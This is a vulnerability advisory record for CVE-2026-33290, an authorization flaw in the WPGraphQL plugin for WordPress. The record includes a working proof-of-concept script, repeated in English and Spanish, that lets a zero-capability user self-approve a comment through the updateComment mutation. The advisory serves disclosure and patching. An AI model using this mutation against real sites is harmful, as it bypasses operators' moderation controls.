FKIE_CVE-2026-33290

Vulnerability from fkie_nvd - Published: 2026-03-24 01:17 - Updated: 2026-04-16 14:46
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Impacted products
Vendor Product Version

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval \u0027\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  \u0027\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."
    },
    {
      "lang": "es",
      "value": "WPGraphQL proporciona una API GraphQL para sitios de WordPress. Antes de la versi\u00f3n 2.10.0, una falla de autorizaci\u00f3n en updateComment permite a un usuario autenticado con bajos privilegios (incluyendo un rol personalizado con cero capacidades) cambiar el estado de moderaci\u00f3n de su propio comentario (por ejemplo, a APROBAR) sin la capacidad moderate_comments. Esto puede eludir los flujos de trabajo de moderaci\u00f3n y permitir que usuarios no confiables autoaprueben contenido. La versi\u00f3n 2.10.0 contiene un parche.\n\n### Detalles\n\nEn WPGraphQL 2.9.1 (probado), la autorizaci\u00f3n para updateComment se basa en el propietario, no en el campo:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 permite a los moderadores.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 tambi\u00e9n permite al propietario del comentario, incluso si carece de la capacidad de moderaci\u00f3n.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 mapea el estado de entrada de GraphQL directamente a comment_approved de WordPress.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persiste ese valor a trav\u00e9s de wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 expone los estados de moderaci\u00f3n (APROBAR, EN ESPERA, CORREO NO DESEADO, PAPELERA).\n\nEsto significa que un propietario no moderador puede enviar el estado durante la actualizaci\u00f3n y hacer la transici\u00f3n del estado de moderaci\u00f3n.\n\n### PoC\n\nProbado en wp-env local (Docker) con WPGraphQL 2.9.1.\n\n1. Iniciar entorno:\n\n  npm install\n  npm run wp-env start\n\n2. Ejecutar este PoC:\n\n```\n  npm run wp-env run cli -- wp eval \u0027\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u0026gt;set_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u0026gt; \"PoC post\",\n    \"post_status\" =\u0026gt; \"publish\",\n    \"post_type\" =\u0026gt; \"post\",\n    \"comment_status\" =\u0026gt; \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u0026gt; $post_id,\n    \"comment_content\" =\u0026gt; \"pending comment\",\n    \"user_id\" =\u0026gt; $user_id,\n    \"comment_author\" =\u0026gt; $user-\u0026gt;display_name,\n    \"comment_author_email\" =\u0026gt; $user-\u0026gt;user_email,\n    \"comment_approved\" =\u0026gt; \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u0026gt; \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u0026gt; [ \"id\" =\u0026gt; (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u0026gt; array_keys(array_filter((array)$user-\u0026gt;allcaps)),\n    \"status\" =\u0026gt; $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u0026gt; get_comment($comment_id)-\u0026gt;comment_approved ?? null,\n    \"comment_id\" =\u0026gt; $comment_id\n  ]);\n  \u0027\n```\n\n3. Observar resultado:\n\n- role_caps est\u00e1 vac\u00edo (o no tiene moderate_comments)\n- la mutaci\u00f3n devuelve status: APROBAR\n- el valor de la base de datos se convierte en comment_approved = 1\n\n### Impacto\n\nEsto es un bypass de autorizaci\u00f3n / un problema de control de acceso roto en las transiciones de estado de moderaci\u00f3n de comentarios. Cualquier despliegue que utilice mutaciones de comentarios de WPGraphQL donde los usuarios con bajos privilegios puedan hacer comentarios est\u00e1 impactado. La pol\u00edtica de moderaci\u00f3n puede ser eludida autoaprobando contenido."
    }
  ],
  "id": "CVE-2026-33290",
  "lastModified": "2026-04-16T14:46:24.290",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-24T01:17:01.677",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…